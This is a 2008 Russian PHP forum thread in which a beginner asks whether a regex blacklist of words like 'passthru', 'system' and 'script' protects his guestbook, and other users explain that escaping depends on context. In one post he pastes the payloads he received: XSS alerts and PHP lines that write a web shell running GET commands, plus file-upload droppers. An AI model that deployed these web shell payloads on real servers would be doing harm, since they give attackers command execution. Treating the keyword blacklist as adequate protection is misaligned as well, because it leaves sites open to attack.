За последние 24 часа нас посетили 62860 программистов и 1743 робота. Сейчас ищут 2092 программиста ...

защита полей гостевой от Injection

Тема в разделе "Вопросы от блондинок", создана пользователем wap7.ru, 27 авг 2008.

  1. wap7.ru

    wap7.ru Активный пользователь

    С нами с:
    27 авг 2008
    Сообщения:
    28
    Симпатии:
    0
    msg передается POSTom

    пишу так:

    if ( eregi('.*(POST|GET|cmd|php|passthru|system|script|<\?|\?>).*', $msg) )
    {
    $msg = 'Я хакер!';
    }

    достаточно ли этого от юных хакеров?

    htmlspecialchars не хочу использовать так как есть система смайлов :p
     
  2. Johnatan

    Johnatan Активный пользователь

    С нами с:
    6 мар 2008
    Сообщения:
    508
    Симпатии:
    0
    Адрес:
    Испания
    Я думаю тот код что вы привели совершенно не опасен. Даже если его не парсить через eregi.
     
  3. wap7.ru

    wap7.ru Активный пользователь

    С нами с:
    27 авг 2008
    Сообщения:
    28
    Симпатии:
    0
    если это шутка то я ее не оценил

    я имею в виду что если в посте встретятся слова
    POST
    GET
    cmd
    php
    passthru
    system
    script

    то я это пост не вывожу в гостевой

    этого достаточно?

    или есть еще куча опасных команд?
     
  4. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    Не правильно ты дядя Фёдор бутерброд ешь (с)

    Не с той стороны на проблему смотришь, не бывает опасных команд, есть данные и они должны быть в разном виде в разных местах.
    Подробности можно узнать на http://phpfaq.ru/slashes без прочтения (полного прочтения до последней буквы) даже не думай что-то делать.
     
  5. Anonymous

    Anonymous Guest

    OMG!!! ТЫ ЗАПОСТИЛ ИХ ЗДЕСЬ!!!!!!!!!! ЧЬОРТ, ОНИ ЖЕ АПАСНЫ!!!111 МЫ ВСЕ УМРЕМ!!!!!11
     
  6. wap7.ru

    wap7.ru Активный пользователь

    С нами с:
    27 авг 2008
    Сообщения:
    28
    Симпатии:
    0
    человек мне постил следующее, а ты чем помочь или вникнуть шутишь как 2-классник

    PHP:
    1. <script>alert("Привет!!");</script>
    2. <script>alert();</script>
    3.  eval'<?php  $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>";  $fp = fopen("123.php", "w");  fputs($fp, $a);  fclose($fp);  ?>';
    4. eval'<?php  $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>";  $fp = fopen("123.php", "w");  fputs($fp, $a);  fclose($fp);  ?>';
    5.  
    6. <?  eval'<?php  $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>";  $fp = fopen("123.php", "w");  fputs($fp, $a);  fclose($fp);  ?>';    ?>
    7.  <?move_uploaded_file($userfile, "muh.php");?>
    8. <?php  $fp = fopen("muhacir.php", "w");  $entry_line='<FORM ENCTYPE="multipart/form-data" ACTION="muhacir.php" METHOD="POST">  <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">  <title>MuhaciR
    9.  
    10. <?php  $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>";  $fp = fopen("123.php", "w");  fputs($fp, $a);  fclose($fp);  ?><?
    11. <?php  $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>";  $fp = fopen("123.php", "w");  fputs($fp, $a);  fclose($fp);  ?>
    12. <?php  $a='<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>';  $fp = fopen("123.php", "w");  fputs($fp, $a);  fclose($fp);  ?>
    13.  <?php  $fp = fopen("123.php", "w");  fputs($fp, '<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>');  fclose($fp);  ?>
    14.  <?php  $fp = fopen("123.php", "w");  fputs($fp, $_POST['c']);  fclose($fp);  ?>
    15.  <?php  $fp = fopen("123.php", "w");  fputs($fp, $_POST['c']);  fclose($fp);  ?>
    это тоже неопасно?
     
  7. Dagdamor

    Dagdamor Активный пользователь

    С нами с:
    4 фев 2006
    Сообщения:
    2.095
    Симпатии:
    1
    Адрес:
    Барнаул
    o_O Что это было?
    /me опасливо косится на бутылку йогурта на столе
     
  8. Hight

    Hight Старожил
    Команда форума Модератор

    С нами с:
    5 мар 2006
    Сообщения:
    7.153
    Симпатии:
    0
    Адрес:
    из злой параллельной вселенной
    +1 , МЫ ВСЕ УМРЁМ!!!!
     
  9. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    На этом форуме есть система смайлов, ты сейчас только что запостил то что запостил.
    Этот форум сломался ? (я не вижу почему-то)
     
  10. [vs]

    [vs] Суперстар
    Команда форума Модератор

    С нами с:
    27 сен 2007
    Сообщения:
    10.559
    Симпатии:
    632
    wap7.ru
    Смайлы надо подставлять не при записи в БД, а на выводе...
     
  11. antonn

    antonn Активный пользователь

    С нами с:
    10 июн 2007
    Сообщения:
    2.996
    Симпатии:
    0
    утверждение спорное, зависит от задачи.
     
  12. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    Утверждение бесспорное при малых нагрузках
    (при больших вообще 99% разумных решений не подойдут, это другая специфика программирования совсем)
     
  13. antonn

    antonn Активный пользователь

    С нами с:
    10 июн 2007
    Сообщения:
    2.996
    Симпатии:
    0
    повторяю - утверждение спорное.
    всегда найдется задача, где удобнее хранить в базе готовый текст.
    утверждать обратное - проявлять свою недальновидность и малый кругозор.
    спорить не собираюсь, свое имхо сказал :)

    PS прежде чем начинать дальше лить воду и буквоедствовать по поводу моего ответа - прочесть еще раз мой абзац :)
     
  14. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    Ок. Ваше имхо принято.
    (Каждый имеет право на своё мнение и я уважаю это право, даже если не согласен)

    Теперь факт: (а не имхо и даже не "псевдо-факт выдуманный мной" да и не факт а настоящая аксиома)
    - Одна задача действительно есть (отображение в конкретном наборе браузеров существующих на данный момент)
    Кроме неё есть много других задач експорт в RSS/CSV/XLS/MDB/и.т.д. которые если сейчас и не нужны но могут понадобится, и конвертация в которые будет осложнена (а местами невозможна ибо HTML это убыточный алгоритм) потому что заранее не подсуетились.
     
  15. antonn

    antonn Активный пользователь

    С нами с:
    10 июн 2007
    Сообщения:
    2.996
    Симпатии:
    0
    "имхо" по поводу узкого кругозора :)

    ADD совсем недавно были на "ты", теперь о как... ну чтож...
     
  16. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    <Офтоп страшный>
    Просто я выпил (и как всегда не слабо выпил) по этому вылетело из головы (так-что сегодня моя подпись опять имеет силу, и временно не является шуткой)

    А кругозор мой простирается как минимум от RSS до CSV если и это узкий, то какой тогда считается широким ? (это что ещё и перфокарты учитывать надо ?)
    </Офтоп страшный>
     
  17. antonn

    antonn Активный пользователь

    С нами с:
    10 июн 2007
    Сообщения:
    2.996
    Симпатии:
    0
    я вообще думал про многозвенки, где база не только для вебморды используется, но и во внутреннем софте (типа корпоративный :) ), например для генерации очетов (смайлы там лишнее, но вот текст уже готовый лежит), где части их уже сгенерены.
    RSS вроде предпочительней хранить в файле (ну перегенить время от времени), чтобы вебсервер забирал и сразу отдавал, даже не притрагиваясь к пхп/перлу и тем более к базе, а если там новости раз в 15 минут - можно и генерить при выводе в файл.
     
  18. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    Из чего ты сгенеришь RSS или как ты закинешь в RSS файл данные, если у тебя вырезано 99% информации в целях защиты от слов "script/php/итд" ещё по приходе от клиента, до каких-то действий ?
     
  19. antonn

    antonn Активный пользователь

    С нами с:
    10 июн 2007
    Сообщения:
    2.996
    Симпатии:
    0
    это я по поводу "смайлы надо ставлять на выводе, а не в базе"
    собно по этому поводу тут и пошла свистопляска %)
     
  20. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    И я по этому-же поводу

    Ты представь я прислал тебе на скрипт (каменты/гостевуха/форум не важно) сообщение примерно следующее
    Код (Text):
    1. Гы :) <img src="smile.gif">
    Ты сначала (на входе) обработал смайлы и закинул в базу/RSS/CSV (на твой вкус) и у тебя получилось
    Код (Text):
    1. Гы <img src="smile.gif"> <img src="smile.gif">
    И теперь какими регулярками ты не обрабатывай моё сообщения, оригинал ты уже не получишь, а представь что я прислал тебе секретный код мира во всём мире :D
     
  21. Elkaz

    Elkaz Старожил
    Команда форума Модератор

    С нами с:
    26 июн 2006
    Сообщения:
    3.373
    Симпатии:
    0
    Адрес:
    Баку, Азербайджан
    Нет бы спать... А вы...
     
  22. Anonymous

    Anonymous Guest

    я думаю, просто стоит сказать, что не стоит хранить ТОЛЬКО готовый текст.
     
  23. Anonymous

    Anonymous Guest

    Я медленно беру листочек... пишу на нем твое имя... и слово СМЕРТЬ!!!!! капаю на него крови девственницы и сжигаю. Ты еще не умер? Черт, смерть же опасное слово...
     
  24. Anonymous

    Anonymous Guest

    В этот момент твои мозги должны начать скрипеть, и потихоньку понимать, что текст - это всего лишь текст, и вопрос лишь в том, как ты будешь его использовать...